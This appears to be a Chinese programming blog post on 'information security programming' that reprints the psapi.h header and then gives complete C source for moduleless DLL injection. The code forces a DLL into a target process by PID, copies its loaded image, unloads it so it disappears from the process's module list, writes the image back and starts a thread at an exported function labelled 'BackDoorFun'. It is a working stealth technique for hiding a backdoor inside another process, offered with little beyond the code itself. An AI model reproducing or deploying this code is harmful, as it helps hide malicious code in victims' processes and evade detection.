我们在信息安全编程的时候经常需要进行dll进程注入,
我们在编程中如何实现呢。
需要引用
Psapi.Lib,具体可以百度下载之。
其头文件如下,
odule Name: psapi.h Abstract: Include file for APIs provided by PSAPI.DLL Author: Richard Shupak [richards] 06-Jan-1994 Revision History: --*/ #ifndef _PSAPI_H_ #define _PSAPI_H_ #ifdef __cplusplus extern "C" { #endif BOOL WINAPI EnumProcesses( DWORD * lpidProcess, DWORD cb, DWORD * cbNeeded ); BOOL WINAPI EnumProcessModules( HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded ); DWORD WINAPI GetModuleBaseNameA( HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize ); DWORD WINAPI GetModuleBaseNameW( HANDLE hProcess, HMODULE hModule, LPWSTR lpBaseName, DWORD nSize ); #ifdef UNICODE #define GetModuleBaseName GetModuleBaseNameW #else #define GetModuleBaseName GetModuleBaseNameA #endif // !UNICODE DWORD WINAPI GetModuleFileNameExA( HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize ); DWORD WINAPI GetModuleFileNameExW( HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize ); #ifdef UNICODE #define GetModuleFileNameEx GetModuleFileNameExW #else #define GetModuleFileNameEx GetModuleFileNameExA #endif // !UNICODE typedef struct _MODULEINFO { LPVOID lpBaseOfDll; DWORD SizeOfImage; LPVOID EntryPoint; } MODULEINFO, *LPMODULEINFO; BOOL WINAPI GetModuleInformation( HANDLE hProcess, HMODULE hModule, LPMODULEINFO lpmodinfo, DWORD cb ); BOOL WINAPI EmptyWorkingSet( HANDLE hProcess ); BOOL WINAPI QueryWorkingSet( HANDLE hProcess, PVOID pv, DWORD cb ); BOOL WINAPI InitializeProcessForWsWatch( HANDLE hProcess ); typedef struct _PSAPI_WS_WATCH_INFORMATION { LPVOID FaultingPc; LPVOID FaultingVa; } PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION; BOOL WINAPI GetWsChanges( HANDLE hProcess, PPSAPI_WS_WATCH_INFORMATION lpWatchInfo, DWORD cb ); DWORD WINAPI GetMappedFileNameW( HANDLE hProcess, LPVOID lpv, LPWSTR lpFilename, DWORD nSize ); DWORD WINAPI GetMappedFileNameA( HANDLE hProcess, LPVOID lpv, LPSTR lpFilename, DWORD nSize ); #ifdef UNICODE #define GetMappedFilenameEx GetMappedFilenameExW #else #define GetMappedFilenameEx GetMappedFilenameExA #endif // !UNICODE BOOL WINAPI EnumDeviceDrivers( LPVOID *lpImageBase, DWORD cb, LPDWORD lpcbNeeded ); DWORD WINAPI GetDeviceDriverBaseNameA( LPVOID ImageBase, LPSTR lpBaseName, DWORD nSize ); DWORD WINAPI GetDeviceDriverBaseNameW( LPVOID ImageBase, LPWSTR lpBaseName, DWORD nSize ); #ifdef UNICODE #define GetDeviceDriverBaseName GetDeviceDriverBaseNameW #else #define GetDeviceDriverBaseName GetDeviceDriverBaseNameA #endif // !UNICODE DWORD WINAPI GetDeviceDriverFileNameA( LPVOID ImageBase, LPSTR lpFilename, DWORD nSize ); DWORD WINAPI GetDeviceDriverFileNameW( LPVOID ImageBase, LPWSTR lpFilename, DWORD nSize ); #ifdef UNICODE #define GetDeviceDriverFileName GetDeviceDriverFileNameW #else #define GetDeviceDriverFileName GetDeviceDriverFileNameA #endif // !UNICODE // Structure for GetProcessMemoryInfo() typedef struct _PROCESS_MEMORY_COUNTERS { DWORD cb; DWORD PageFaultCount; DWORD PeakWorkingSetSize; DWORD WorkingSetSize; DWORD QuotaPeakPagedPoolUsage; DWORD QuotaPagedPoolUsage; DWORD QuotaPeakNonPagedPoolUsage; DWORD QuotaNonPagedPoolUsage; DWORD PagefileUsage; DWORD PeakPagefileUsage; } PROCESS_MEMORY_COUNTERS; typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS; BOOL WINAPI GetProcessMemoryInfo( HANDLE Process, PPROCESS_MEMORY_COUNTERS ppsmemCounters, DWORD cb ); #ifdef __cplusplus } #endif #endif
无模块dll进程注入请见下列代码与分析
#include "stdafx.h" #include "windows.h" #include "stdio.h" #include "Psapi.h" #include "Tlhelp32.h" //获得加载的DLL模块的信息,主要包括模块基地址和模块大小 BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread) { HANDLE hthSnapshot = NULL; // 取得指定进程的所有模块映象. hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID); if (hthSnapshot == NULL) return FALSE; // 取得所有模块列表中的指定的模块. BOOL bMoreMods = Module32First(hthSnapshot, &Thread); if (bMoreMods == FALSE) return FALSE; // 循环取得想要的模块. for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread)) { if (strcmp(Thread.szExePath, Dllfullname) == 0) break; } if (strcmp(Thread.szExePath, Dllfullname) == 0) return TRUE; else return FALSE; } //调整进程权限 BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName) { //****************************************************** //调整进程权限 //****************************************************** HANDLE hToken; TOKEN_PRIVILEGES tkp; //打开进程的权限标记 if (!::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE; //传入lpPrivilegeName的Luid值 if(!::LookupPrivilegeValue(NULL, lpPrivilegeName, &tkp.Privileges[0].Luid)) return FALSE; tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0)) return FALSE; return TRUE; } //注入DLL部分 BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname) { //开辟虚拟空间,以便写入DLL的完整路径 PSTR pDllName=NULL; if((pDllName=(PSTR)::VirtualAllocEx(hProcess, NULL, strlen(Dllfullname)+1, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE))==NULL) return FALSE; BOOL writecode; if((writecode=::WriteProcessMemory(hProcess, pDllName, Dllfullname, strlen(Dllfullname)+1, NULL))==0) return FALSE; //取得LoadLibrary函数在Kernel32.dll中的地址. PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); if (pfnThreadRtn== NULL) return FALSE; //打开远线程 HANDLE hRemoteThread=NULL; if((hRemoteThread=::CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pDllName, //loadlibrary参数,即dll的路径字符串在远程进程中的地址,若是多参数则放在一个结构体中 0, NULL))==NULL) return FALSE; return TRUE; } //卸载DLL BOOL UnistallDll(HANDLE hProcess,BYTE * Address) { // 取得FreeLibrary函数在Kernel32.dll中的地址. HANDLE hThread = NULL; PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandle("Kernel32.dll"), "FreeLibrary"); if (pfnThreadRtn == NULL) return FALSE; // 创建远程线程来执行FreeLibrary函数. hThread = ::CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, Address, 0, NULL); if (hThread == NULL) return FALSE; // 等待远程线程终止. ::WaitForSingleObject(hThread, INFINITE); // 关闭句柄. ::CloseHandle(hThread); return TRUE; } #define pid 3844 #define BackDoorFun 0x1014//DLL模块中导出函数的地址 int main(int argc, char* argv[]) { char Dllfullname[255]; char Dllname[255]; //打开进程 HANDLE hRemoteProcess=NULL; if((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid))==NULL) { printf("OpenProcess faile!!"); return 0; } BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME); if(Adjust==FALSE) { printf("Adjust process Privileges faile!!\n"); return 0; } //获得DLL的完整路径 strcpy(Dllname,"dll.dll"); ::GetCurrentDirectory(255,Dllfullname); strcat(Dllfullname,"\\"); strcat(Dllfullname,Dllname); BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname); if(Res==FALSE) { printf("Inject Faile!!\n"); return 0; } //等待远线程启动,否则获取不到插入的dll信息 ::Sleep(300); DWORD RemoteTheadAddress=0; MODULEENTRY32 Thread = {sizeof(Thread)};; RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread); if(RemoteTheadAddress==0) { printf("Get RemoteTheadAddress Faile!!\n"); return 0; } //分配保存DLL加载后的的缓冲区,并保存 char *buffer=new char[Thread.modBaseSize+1]; DWORD read; ::ReadProcessMemory(hRemoteProcess, Thread.modBaseAddr,//加载的DLL模块基地址 buffer, Thread.modBaseSize,//加载的DLL代码的大小 &read); //卸载DLL BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr); if(Unstall==FALSE) { printf("Unistall dll Faile!!!\n"); return 0; } //重新分配虚拟内存,注意从原模块基地址出开始分配 LPVOID Alloc; Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(Alloc== NULL) { printf("VirtualAllocEx Failed!!\n"); return 0; } BOOL Writer;DWORD Written; Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written); if(Writer==0) { printf("WriteProcessMemory Failed!!\n"); return 0; } //重新启动新的无DLL模块的线程中的函数 HANDLE hNewThread=NULL; if((hNewThread=::CreateRemoteThread(hRemoteProcess, NULL, 0, (PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),//添加到进程中的数据的基地址Thread.modBaseAddr+dll导出函数的入口点地址 NULL, //此处填写导出函数的参数地址,为简单期间,本导出函数没有参数,若有参数可用注入DLL中同样方法写进进程空间中 0, NULL))==NULL) { printf("CreateNewThread faile!!\n"); return 0; } return 0; }